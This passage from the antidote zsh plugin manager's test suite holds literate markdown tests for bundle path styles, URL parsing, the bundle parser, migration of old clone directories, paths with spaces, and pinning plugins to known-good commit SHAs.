':antidote:bundle' path-style % ``` Legacy: Use friendly names ```zsh % # short repos style used to be called "use friendly names" % zstyle -d ':antidote:bundle' path-style % zstyle ':antidote:bundle' use-friendly-names on % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar % # repo url - friendly name % bundle_dir https://fakegitsite.com/bar/baz | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/bar/baz % # nested group path preserves all path segments after domain % bundle_dir https://fakegitsite.com/foo/bar/baz/qux | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar/baz/qux % # ssh repo - friendly name % bundle_dir git@fakegitsite.com:foo/qux.git | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/qux % zstyle -d ':antidote:bundle' use-friendly-names % ``` ### To URL Short repos: ```zsh % function tourl() { antidote __private__ tourl "$@"; } % tourl ohmyzsh/ohmyzsh https://fakegitsite.com/ohmyzsh/ohmyzsh % tourl sindresorhus/pure https://fakegitsite.com/sindresorhus/pure % tourl foo/bar https://fakegitsite.com/foo/bar % ``` Proper URLs don't change: ```zsh % tourl https://github.com/ohmyzsh/ohmyzsh https://github.com/ohmyzsh/ohmyzsh % tourl http://github.com/ohmyzsh/ohmyzsh http://github.com/ohmyzsh/ohmyzsh % tourl ssh://github.com/ohmyzsh/ohmyzsh ssh://github.com/ohmyzsh/ohmyzsh % tourl git://github.com/ohmyzsh/ohmyzsh git://github.com/ohmyzsh/ohmyzsh % tourl ftp://github.com/ohmyzsh/ohmyzsh ftp://github.com/ohmyzsh/ohmyzsh % tourl git@github.com:sindresorhus/pure.git git@github.com:sindresorhus/pure.git % ``` ## Short repo name ```zsh % function short_repo_name() { antidote __private__ short_repo_name "$@"; } % short_repo_name foo/bar foo/bar % short_repo_name https://github.com/foo/bar foo/bar % short_repo_name https://github.com/foo/bar.git foo/bar % short_repo_name git@github.com:foo/bar.git git@github.com:foo/bar % short_repo_name git@github.com:foo/bar git@github.com:foo/bar % short_repo_name https://gitlab.com/deep/nested/repo nested/repo % ``` ## Get cachedir ```zsh % function get_cachedir() { antidote __private__ get_cachedir "$@"; } % zstyle ':antidote:test:env' OSTYPE linux-gnu % get_cachedir | subenv HOME $HOME/.cache % get_cachedir antidote | subenv HOME $HOME/.cache/antidote % zstyle ':antidote:test:env' OSTYPE darwin23.0 % get_cachedir | subenv HOME $HOME/Library/Caches % get_cachedir antidote | subenv HOME $HOME/Library/Caches/antidote % zstyle -d ':antidote:test:env' OSTYPE % ``` ## Get cachedir with XDG override ```zsh % zstyle ':antidote:test:env' OSTYPE linux-gnu % XDG_CACHE_HOME=/tmp/xdg-cache antidote __private__ get_cachedir /tmp/xdg-cache % XDG_CACHE_HOME=/tmp/xdg-cache antidote __private__ get_cachedir antidote /tmp/xdg-cache/antidote % zstyle -d ':antidote:test:env' OSTYPE % ``` ## Get datadir ```zsh % function get_datadir() { antidote __private__ get_datadir "$@"; } % zstyle ':antidote:test:env' OSTYPE linux-gnu % get_datadir | subenv HOME $HOME/.local/share % get_datadir antidote | subenv HOME $HOME/.local/share/antidote % zstyle ':antidote:test:env' OSTYPE darwin23.0 % get_datadir | subenv HOME $HOME/Library/Application Support % get_datadir antidote | subenv HOME $HOME/Library/Application Support/antidote % zstyle -d ':antidote:test:env' OSTYPE % ``` ## Get datadir with XDG override ```zsh % zstyle ':antidote:test:env' OSTYPE linux-gnu % XDG_DATA_HOME=/tmp/xdg-data antidote __private__ get_datadir /tmp/xdg-data % XDG_DATA_HOME=/tmp/xdg-data antidote __private__ get_datadir antidote /tmp/xdg-data/antidote % zstyle -d ':antidote:test:env' OSTYPE % ``` ## Collect input ```zsh % function collect_input() { antidote __private__ collect_input "$@"; } % echo "foo/bar" | collect_input foo/bar % printf 'foo/bar\nbar/baz\nbaz/qux\n' | collect_input foo/bar bar/baz baz/qux % collect_input "foo/bar" foo/bar % collect_input $'foo/bar\nbar/baz' foo/bar bar/baz % echo "piped" | collect_input "args-win" args-win % collect_input % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_parser.md000066400000000000000000000221561516600341500211150ustar00rootroot00000000000000# antidote bundle_parser tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % function bundle_parser() { antidote __private__ bundle_parser_serialize "$@"; } % ``` ## Test bundle parser matrix The bundle parser takes the antidote bundle format and populates a `_parsed_bundles[i,key]` matrix with metadata in `_parsed_bundles[__count__]`, parsed once. Test empty: ```zsh % eval "$(echo | bundle_parser)"; print $_parsed_bundles[__count__] 0 % eval "$(echo '# This is a full line comment' | bundle_parser)"; print $_parsed_bundles[__count__] 0 % ``` Test matrix for repo: ```zsh % eval "$(echo 'foo/bar' | bundle_parser)" % print $_parsed_bundles[__count__] 1 % print $_parsed_bundles[1,__bundle__] foo/bar % print $_parsed_bundles[1,__type__] repo % ``` Test matrix for multiple bundles: ```zsh % eval "$(printf 'foo/bar\nbar/baz kind:defer\n' | bundle_parser)" % print $_parsed_bundles[__count__] 2 % print $_parsed_bundles[1,__bundle__] foo/bar % print $_parsed_bundles[2,__bundle__] bar/baz % print $_parsed_bundles[2,kind] defer % ``` Test matrix for annotations: ```zsh % eval "$(echo 'foo/bar branch:main kind:zsh' | bundle_parser)" % print $_parsed_bundles[1,branch] main % print $_parsed_bundles[1,kind] zsh % ``` Test matrix lineno via comments and blanks: ```zsh % eval "$(printf '# comment\n\nfoo/bar\n' | bundle_parser)" % print $_parsed_bundles[1,__lineno__] 3 % ``` ## Test bundle parser helpers Test assoc array for repo ```zsh % echo 'foo/bar' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar % ``` Test assoc array for repo in escaped path ```zsh % zstyle ':antidote:bundle' path-style escaped % echo 'foo/bar' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar % zstyle -d ':antidote:bundle' path-style % ``` Test assoc array for path ```zsh % echo '$ZSH_CUSTOM/foo' | bundle_parser | print_parsed_bundle __bundle__ : $ZSH_CUSTOM/foo __type__ : path % ``` Test assoc array for jibberish ```zsh % echo 'a b c d:e:f' | bundle_parser | print_parsed_bundle __bundle__ : a __error__ : error: Expecting 'key:value' form for annotation 'c'. __severity__: error __type__ : using_subplugin d : e:f % echo 'foo bar:baz' | bundle_parser | print_parsed_bundle __bundle__ : foo __error__ : invalid bundle 'foo'. Are you missing a 'using:' directive? __severity__: error __type__ : using_subplugin bar : baz % ``` Test assoc array for everything ```zsh % echo 'foo/bar branch:baz kind:zsh path:plugins/baz pre:precmd post:"post cmd"' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar branch : baz kind : zsh path : plugins/baz post : post cmd pre : precmd % ``` ## Test specific keys have known values Test __bundle__: ```zsh % echo 'foo/bar' | bundle_parser | bundle_val __bundle__ foo/bar % ``` Test __type__: ```zsh % echo 'foo/bar' | bundle_parser | bundle_val __type__ repo % echo 'https://github.com/foo/bar' | bundle_parser | bundle_val __type__ url % echo 'git@bitbucket.org:foo/bar' | bundle_parser | bundle_val __type__ ssh_url % echo '$foo/bar' | bundle_parser | bundle_val __type__ path % echo '$foo/bar/baz.zsh' | bundle_parser | bundle_val __type__ path % echo '~foo/bar' | bundle_parser | bundle_val __type__ path % echo '~/foo' | bundle_parser | bundle_val __type__ path % echo './foo.zsh' | bundle_parser | bundle_val __type__ path % echo '../foo.zsh' | bundle_parser | bundle_val __type__ path % echo 'foo/bar/' | bundle_parser | bundle_val __type__ ? % echo 'foo:bar' | bundle_parser | bundle_val __type__ ? % echo 'bad@gitsite.com/foo/bar' | bundle_parser | bundle_val __type__ ? % echo 'http:/badsite.com/foo/bar' | bundle_parser | bundle_val __type__ ? % echo 'https://gitlab.com/group/subgroup/repo' | bundle_parser | bundle_val __type__ url % echo 'https://gist.github.com/abc123def456' | bundle_parser | bundle_val __type__ url % ``` Invalid bundles emit an error: ```zsh % echo 'foobar' | bundle_parser | print_parsed_bundle __bundle__ : foobar __error__ : invalid bundle 'foobar'. Are you missing a 'using:' directive? __severity__: error __type__ : using_subplugin % echo 'foo/bar/baz' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar/baz __error__ : invalid bundle 'foo/bar/baz' __severity__: error __type__ : ? % echo 'foo/bar/' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar/ __error__ : invalid bundle 'foo/bar/' __severity__: error __type__ : ? % ``` Test __url__: ```zsh % echo 'foo/bar' | bundle_parser | bundle_val __url__ https://fakegitsite.com/foo/bar % echo 'https://github.com/foo/bar' | bundle_parser | bundle_val __url__ https://github.com/foo/bar % echo 'git@bitbucket.org:foo/bar' | bundle_parser | bundle_val __url__ git@bitbucket.org:foo/bar % echo '$foo/bar' | bundle_parser | bundle_val __url__ % echo 'bad@gitsite.com/foo/bar' | bundle_parser | bundle_val __url__ % echo 'http:/badsite.com/foo/bar' | bundle_parser | bundle_val __type__ ? % echo 'https://gitlab.com/group/subgroup/repo' | bundle_parser | bundle_val __url__ https://gitlab.com/group/subgroup/repo % echo 'https://gist.github.com/abc123def456' | bundle_parser | bundle_val __url__ https://gist.github.com/abc123def456 % ``` ## Test __bundle__ for various bundle types ```zsh % echo 'foo/bar' | bundle_parser | bundle_val __bundle__ foo/bar % echo 'https://github.com/foo/bar' | bundle_parser | bundle_val __bundle__ https://github.com/foo/bar % echo 'git@bitbucket.org:foo/bar' | bundle_parser | bundle_val __bundle__ git@bitbucket.org:foo/bar % echo '$foo/bar' | bundle_parser | bundle_val __bundle__ $foo/bar % echo '$foo/bar/baz.zsh' | bundle_parser | bundle_val __bundle__ $foo/bar/baz.zsh % echo '~foo/bar' | bundle_parser | bundle_val __bundle__ ~foo/bar % echo '~/foo' | bundle_parser | bundle_val __bundle__ ~/foo % echo './foo.zsh' | bundle_parser | bundle_val __bundle__ ./foo.zsh % echo '../foo.zsh' | bundle_parser | bundle_val __bundle__ ../foo.zsh % echo 'foo/bar/' | bundle_parser | bundle_val __bundle__ foo/bar/ % echo 'foo:bar' | bundle_parser | bundle_val __bundle__ foo:bar % echo 'bad@gitsite.com/foo/bar' | bundle_parser | bundle_val __bundle__ bad@gitsite.com/foo/bar % echo 'http:/typo.com/foo/bar' | bundle_parser | bundle_val __bundle__ http:/typo.com/foo/bar % echo 'https://gitlab.com/group/subgroup/repo' | bundle_parser | bundle_val __bundle__ https://gitlab.com/group/subgroup/repo % echo 'https://gist.github.com/abc123def456' | bundle_parser | bundle_val __bundle__ https://gist.github.com/abc123def456 % ``` ## Test pin annotation ```zsh % echo 'foo/bar pin:abc123' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar pin : abc123 % ``` Pin with kind:clone: ```zsh % echo 'foo/bar kind:clone pin:64642c5691051ba0d82f5bda60b745f6fd042325' | bundle_parser | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone pin : 64642c5691051ba0d82f5bda60b745f6fd042325 % ``` ## Test SSH URL parsing SSH URL type with .git suffix: ```zsh % echo 'git@bitbucket.org:foo/bar.git' | bundle_parser | bundle_val __type__ ssh_url % echo 'git@bitbucket.org:foo/bar.git' | bundle_parser | bundle_val __bundle__ git@bitbucket.org:foo/bar.git % ``` SSH URL __short__ preserves the full URL: ```zsh % echo 'git@bitbucket.org:foo/bar' | bundle_parser | bundle_val __short__ git@bitbucket.org:foo/bar % echo 'git@bitbucket.org:foo/bar.git' | bundle_parser | bundle_val __short__ git@bitbucket.org:foo/bar % ``` SSH URL __dir__: ```zsh % echo 'git@fakegitsite.com:foo/qux' | bundle_parser | print_parsed_bundle __bundle__ : git@fakegitsite.com:foo/qux __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/qux __short__ : git@fakegitsite.com:foo/qux __type__ : ssh_url __url__ : git@fakegitsite.com:foo/qux % ``` ## Test other annotations Conditional: ```zsh % echo 'foo/bar conditional:is-macos' | bundle_parser | bundle_val conditional is-macos % ``` Autoload: ```zsh % echo 'foo/bar autoload:functions' | bundle_parser | bundle_val autoload functions % ``` fpath-rule: ```zsh % echo 'foo/bar fpath-rule:prepend' | bundle_parser | bundle_val fpath-rule prepend % ``` ## Test multiline input Multiple bundles parsed at once: ```zsh % printf 'foo/bar\nbar/baz kind:clone\n' | bundle_parser | bundle_val __bundle__ foo/bar bar/baz % printf 'foo/bar\nbar/baz kind:clone\n' | bundle_parser | bundle_val kind clone % ``` Comments and blanks produce no output but don't break line counting: ```zsh % printf '# comment\n\nfoo/bar\n' | bundle_parser | bundle_val __lineno__ 3 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_path_style_migration.md000066400000000000000000000135371516600341500240510ustar00rootroot00000000000000# antidote path-style migration tests When upgrading from v1 (escaped path-style) to v2 (full path-style), existing clones should be reused rather than duplicated. See https://github.com/mattmc3/antidote/issues/245. ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % function bundle_dir() { antidote __private__ bundle_dir "$@"; } % ``` ## Reuse existing clones If a clone already exists under a different path-style, `bundle_dir` returns it instead of computing a new path. Escaped clone found when path-style is full: ```zsh % escaped_dir=$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % command mkdir -p $escaped_dir/.git % zstyle ':antidote:bundle' path-style full % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 1 % command rm -rf $escaped_dir % ``` Short (friendly-name) clone found when path-style is full: ```zsh % short_dir=$ANTIDOTE_HOME/foo/bar % command mkdir -p $short_dir/.git % zstyle ':antidote:bundle' path-style full % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 1 % command rm -rf $short_dir % ``` SSH URLs use a different escaped format (`git-AT-` instead of `https-COLON-`): ```zsh % escaped_ssh_dir=$ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux % command mkdir -p $escaped_ssh_dir/.git % zstyle ':antidote:bundle' path-style full % bundle_dir git@fakegitsite.com:foo/qux | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/qux #=> --exit 1 % command rm -rf $escaped_ssh_dir % ``` Short clone found when path-style is full (different repo): ```zsh % short_dir=$ANTIDOTE_HOME/bar/baz % command mkdir -p $short_dir/.git % zstyle ':antidote:bundle' path-style full % bundle_dir bar/baz | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/bar/baz % test -d $ANTIDOTE_HOME/fakegitsite.com/bar/baz #=> --exit 1 % command rm -rf $short_dir % ``` ## Duplicate cleanup `bundle_dir` itself has no side effects. `bundle_dir_cleanup` removes legacy dupes when the preferred path exists. ```zsh % function bundle_dir_cleanup() { antidote __private__ bundle_dir_cleanup "$@"; } % escaped_dir=$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % full_dir=$ANTIDOTE_HOME/fakegitsite.com/foo/bar % command mkdir -p $escaped_dir/.git % command mkdir -p $full_dir/.git % zstyle ':antidote:bundle' path-style full % # bundle_dir returns preferred but does not delete the legacy clone % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar % test -d $escaped_dir #=> --exit 0 % # bundle_dir_cleanup removes the legacy clone % bundle_dir_cleanup foo/bar % test -d $escaped_dir #=> --exit 1 % test -d $full_dir #=> --exit 0 % command rm -rf $full_dir % ``` When all three styles exist, only the preferred survives after cleanup: ```zsh % escaped_dir=$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % short_dir=$ANTIDOTE_HOME/foo/bar % full_dir=$ANTIDOTE_HOME/fakegitsite.com/foo/bar % command mkdir -p $escaped_dir/.git $short_dir/.git $full_dir/.git % zstyle ':antidote:bundle' path-style full % bundle_dir_cleanup foo/bar % test -d $full_dir #=> --exit 0 % test -d $escaped_dir #=> --exit 1 % test -d $short_dir #=> --exit 1 % command rm -rf $full_dir % ``` ## New clones use current path-style When no clone exists under any style, the current path-style is used. ```zsh % zstyle ':antidote:bundle' path-style full % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/fakegitsite.com/foo/bar % zstyle ':antidote:bundle' path-style short % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/foo/bar % zstyle ':antidote:bundle' path-style escaped % bundle_dir foo/bar | subenv ANTIDOTE_HOME $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar % zstyle ':antidote:bundle' path-style full % ``` ## Escaped to full Simulate a v1 user upgrading to v2 — `antidote list` should not show dupes. ```zsh % zstyle ':antidote:bundle' path-style escaped % antidote bundle foo/bar &>/dev/null % antidote bundle bar/baz &>/dev/null % zstyle ':antidote:bundle' path-style full % antidote bundle foo/bar &>/dev/null % antidote bundle bar/baz &>/dev/null % antidote list | wc -l | awk '{print $1}' 2 % command rm -rf $ANTIDOTE_HOME/* % ``` ## Short to full Bundle with friendly names, switch to full — original clone is kept. ```zsh % zstyle ':antidote:bundle' path-style short % antidote bundle foo/bar &>/dev/null % test -d $ANTIDOTE_HOME/foo/bar #=> --exit 0 % zstyle ':antidote:bundle' path-style full % antidote bundle foo/bar &>/dev/null % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 1 % test -d $ANTIDOTE_HOME/foo/bar #=> --exit 0 % command rm -rf $ANTIDOTE_HOME/* % ``` ## Full to escaped Switching back to escaped reuses the existing full clone. ```zsh % zstyle ':antidote:bundle' path-style full % antidote bundle foo/bar &>/dev/null % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 0 % zstyle ':antidote:bundle' path-style escaped % antidote bundle foo/bar &>/dev/null % test -d $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar #=> --exit 1 % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 0 % command rm -rf $ANTIDOTE_HOME/* % ``` ## Full to short Switching to short reuses the existing full clone. ```zsh % zstyle ':antidote:bundle' path-style full % antidote bundle foo/bar &>/dev/null % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 0 % zstyle ':antidote:bundle' path-style short % antidote bundle foo/bar &>/dev/null % test -d $ANTIDOTE_HOME/foo/bar #=> --exit 1 % test -d $ANTIDOTE_HOME/fakegitsite.com/foo/bar #=> --exit 0 % command rm -rf $ANTIDOTE_HOME/* % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_paths_with_spaces.md000066400000000000000000000016271516600341500233310ustar00rootroot00000000000000# antidote test paths with spaces ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ANTIDOTE_HOME="$HOME/.cache/antidote with spaces" % mkdir -p -- "$ANTIDOTE_HOME" % ``` The bundle parser needs to properly handle quoted annotations. ```zsh % echo 'foo/bar path:"plugins/foo bar/baz"' | antidote __private__ bundle_parser_serialize | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar path : plugins/foo bar/baz % echo 'foo/bar' | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo % antidote bundle 'foo/bar' # antidote cloning foo/bar... fpath+=( "$HOME/.cache/antidote with spaces/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote with spaces/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_pin.md000066400000000000000000000216171516600341500204100ustar00rootroot00000000000000# antidote pin annotation tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Pin annotation The pintest/pinme fixture has three commits: - v1.0.0 (`64642c5...`) — initial good version - v1.1.0 (`c87216c...`) — minor update, also good - v1.2.0 (`d54e0ca...`) — bad supply chain commit (HEAD) Pinning lets users lock to a known-good commit and avoid the bad HEAD. ### Clone with pin (SHA) Pin to v1.0.0 to avoid the bad HEAD. Verify detached HEAD state and git config. ```zsh % antidote bundle 'pintest/pinme pin:64642c5691051ba0d82f5bda60b745f6fd042325' >/dev/null # antidote cloning pintest/pinme... % bundledir=$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % git -C $bundledir rev-parse HEAD 64642c5691051ba0d82f5bda60b745f6fd042325 % git -C $bundledir rev-parse --abbrev-ref HEAD HEAD % git -C $bundledir config --get antidote.pin 64642c5691051ba0d82f5bda60b745f6fd042325 % ``` ### Pin produces correct script output The pinned bundle should still generate the correct source script. ```zsh % antidote __private__ zsh_script __bundle__ pintest/pinme pin 64642c5691051ba0d82f5bda60b745f6fd042325 | subenv ANTIDOTE_HOME fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme" ) source "$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme/pinme.plugin.zsh" % ``` ### Update skips pinned bundles ```zsh % zstyle ':antidote:test:version' show-sha off % zstyle ':antidote:test:git' autostash off % antidote update --bundles 2>&1 | grep pintest antidote: skipping update for pinned bundle: pintest/pinme (at 64642c5...) % ``` ### Advance pin to v1.1.0 Change the pin to the v1.1.0 commit — a newer known-good version. ```zsh % antidote bundle 'pintest/pinme pin:c87216c18d3f0301fa1ed669b6c1ad76056271ca' >/dev/null % git -C $bundledir config --get antidote.pin c87216c18d3f0301fa1ed669b6c1ad76056271ca % git -C $bundledir rev-parse HEAD c87216c18d3f0301fa1ed669b6c1ad76056271ca % ``` ### Removing pin clears git config and returns to a branch When a bundle is re-bundled without `pin:`, the git config should be cleared and the repo should return to a branch so `antidote update` can pull. Currently pinned to v1.1.0: ```zsh % git -C $bundledir config --get antidote.pin c87216c18d3f0301fa1ed669b6c1ad76056271ca % git -C $bundledir rev-parse HEAD c87216c18d3f0301fa1ed669b6c1ad76056271ca % ``` Remove the pin: ```zsh % antidote bundle 'pintest/pinme' >/dev/null % git -C $bundledir config --get antidote.pin #=> --exit 1 % git -C $bundledir rev-parse --abbrev-ref HEAD main % ``` Update pulls to the latest (v1.2.0) — the bad commit we were previously avoiding: ```zsh % zstyle ':antidote:test:version' show-sha off % zstyle ':antidote:test:git' autostash off % antidote update --bundles 2>&1 | grep pintest | grep -c "skipping" 0 % git -C $bundledir rev-parse HEAD d54e0cad999d196822584f2cca72f7c7bd908ea9 % ``` ### Re-add pin to v1.0.0 Re-bundling with a pin should checkout the pinned commit and set the git config. ```zsh % antidote bundle 'pintest/pinme pin:64642c5691051ba0d82f5bda60b745f6fd042325' >/dev/null % git -C $bundledir config --get antidote.pin 64642c5691051ba0d82f5bda60b745f6fd042325 % git -C $bundledir rev-parse --abbrev-ref HEAD HEAD % ``` ### Short SHA is rejected Pin requires a full 40-character commit SHA. Short SHAs are rejected with a clear error because the git protocol cannot resolve them on remotes. ```zsh % antidote bundle 'pintest/pinme pin:64642c5' 2>&1 | tail -1 # antidote: error: pin requires a full 40-character commit SHA, got '64642c5' % ``` ### Fresh clone pinned to v1.1.0 Purge and re-clone pinned to the v1.1.0 known-good commit. ```zsh % zstyle ':antidote:test:purge' answer 'y' % antidote purge pintest/pinme >/dev/null % [[ ! -d $bundledir ]] && echo "purged" purged % antidote bundle 'pintest/pinme pin:c87216c18d3f0301fa1ed669b6c1ad76056271ca' >/dev/null # antidote cloning pintest/pinme... % git -C $bundledir rev-parse HEAD c87216c18d3f0301fa1ed669b6c1ad76056271ca % git -C $bundledir config --get antidote.pin c87216c18d3f0301fa1ed669b6c1ad76056271ca % ``` ### List shows pinned bundles ```zsh % antidote list --long | grep -A4 'Repo:.*pintest/pinme' Repo: pintest/pinme Path: $HOME/.cache/antidote/fakegitsite.com/pintest/pinme URL: https://fakegitsite.com/pintest/pinme SHA: c87216c18d3f0301fa1ed669b6c1ad76056271ca Pinned: c87216c18d3f0301fa1ed669b6c1ad76056271ca % ``` JSONL includes pin field for pinned bundles: ```zsh % antidote list --jsonl | subenv ANTIDOTE_HOME | grep pintest {"url":"https://fakegitsite.com/pintest/pinme","repo":"pintest/pinme","path":"$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme","sha":"c87216c18d3f0301fa1ed669b6c1ad76056271ca","pin":"c87216c18d3f0301fa1ed669b6c1ad76056271ca"} % ``` Unpinned bundles don't show Pinned in long output: ```zsh % antidote list --long | grep -A4 'Repo:.*foo/bar' | grep -c 'Pinned:' 0 % ``` ### Sequential pin updates with kind:clone Walk through all three pintest/pinme SHAs in sequence, verifying the repo checks out the correct commit each time. ```zsh % rm -rf $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % ``` Pin to v1.0.0 (initial good commit): ```zsh % antidote bundle 'pintest/pinme kind:clone pin:64642c5691051ba0d82f5bda60b745f6fd042325' 2>&1 # antidote cloning pintest/pinme... % git -C $bundledir rev-parse HEAD 64642c5691051ba0d82f5bda60b745f6fd042325 % ``` Advance to v1.1.0 (newer good commit): ```zsh % antidote bundle 'pintest/pinme kind:clone pin:c87216c18d3f0301fa1ed669b6c1ad76056271ca' % git -C $bundledir rev-parse HEAD c87216c18d3f0301fa1ed669b6c1ad76056271ca % ``` Advance to v1.2.0 (the bad commit — for testing, not recommended): ```zsh % antidote bundle 'pintest/pinme kind:clone pin:d54e0cad999d196822584f2cca72f7c7bd908ea9' % git -C $bundledir rev-parse HEAD d54e0cad999d196822584f2cca72f7c7bd908ea9 % ``` Roll back to v1.0.0 to confirm we can move backwards: ```zsh % antidote bundle 'pintest/pinme kind:clone pin:64642c5691051ba0d82f5bda60b745f6fd042325' % git -C $bundledir rev-parse HEAD 64642c5691051ba0d82f5bda60b745f6fd042325 % ``` ### Branch annotation with a tag Tags should work with `branch:` the same as branch names. ```zsh % rm -rf $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % antidote bundle 'pintest/pinme branch:v1.0.0' >/dev/null # antidote cloning pintest/pinme... % bundledir=$ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % git -C $bundledir rev-parse HEAD 64642c5691051ba0d82f5bda60b745f6fd042325 % ``` ### Pin with invalid SHA fails and cleans up ```zsh % rm -rf $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme % antidote __private__ zsh_script __bundle__ pintest/pinme kind clone pin deadbeefdeadbeefdeadbeefdeadbeefdeadbeef 2>&1 | tail -1 antidote: error: pin commit 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeef' not found for pintest/pinme % [[ ! -d $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme ]] && echo "cleaned up" cleaned up % ``` ### Pin with short or non-SHA value is rejected ```zsh % antidote __private__ zsh_script __bundle__ pintest/pinme kind clone pin v99.0.0 2>&1 | tail -1 antidote: error: pin requires a full 40-character commit SHA, got 'v99.0.0' % [[ ! -d $ANTIDOTE_HOME/fakegitsite.com/pintest/pinme ]] && echo "cleaned up" cleaned up % ``` ### Conflict detection Test `bundle_check_critical` directly. Conflicting pins should fail. ```zsh % printf 'pintest/pinme pin:aaa\npintest/pinme pin:bbb\n' | antidote __private__ bundle_check_critical 2>&1 # antidote: critical error on line 2: conflicting pin for 'pintest/pinme': pin:bbb vs pin:aaa % ``` Conflicting branches should fail. ```zsh % printf 'foo/bar branch:main\nfoo/bar branch:dev\n' | antidote __private__ bundle_check_critical 2>&1 # antidote: critical error on line 2: conflicting branch for 'foo/bar': branch:dev vs branch:main % ``` Mixed pin/no-pin for the same repo should fail. ```zsh % printf 'pintest/pinme pin:aaa\npintest/pinme path:lib\n' | antidote __private__ bundle_check_critical 2>&1 # antidote: critical error on line 2: inconsistent pin for 'pintest/pinme': some entries have pin:aaa, others do not % ``` Mixed branch/no-branch for the same repo should fail. ```zsh % printf 'foo/bar branch:dev\nfoo/bar path:lib\n' | antidote __private__ bundle_check_critical 2>&1 # antidote: critical error on line 2: inconsistent branch for 'foo/bar': some entries have branch:dev, others do not % ``` Identical pins for the same repo should be fine. ```zsh % printf 'pintest/pinme pin:aaa\npintest/pinme pin:aaa path:lib\n' | antidote __private__ bundle_check_critical #=> --exit 0 % ``` Different repos with different pins should be fine. ```zsh % printf 'foo/bar pin:aaa\npintest/pinme pin:bbb\n' | antidote __private__ bundle_check_critical #=> --exit 0 % ``` Bundling with conflicting pins should also fail end-to-end. ```zsh % printf 'pintest/pinme pin:aaa path:lib\npintest/pinme pin:bbb path:other\n' | antidote bundle 2>&1 | tail -1 # antidote: critical error on line 2: conflicting pin for 'pintest/pinme': pin:bbb vs pin:aaa % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_real.md000066400000000000000000000124361516600341500205440ustar00rootroot00000000000000# antidote tests for real ## antidote bundle ### 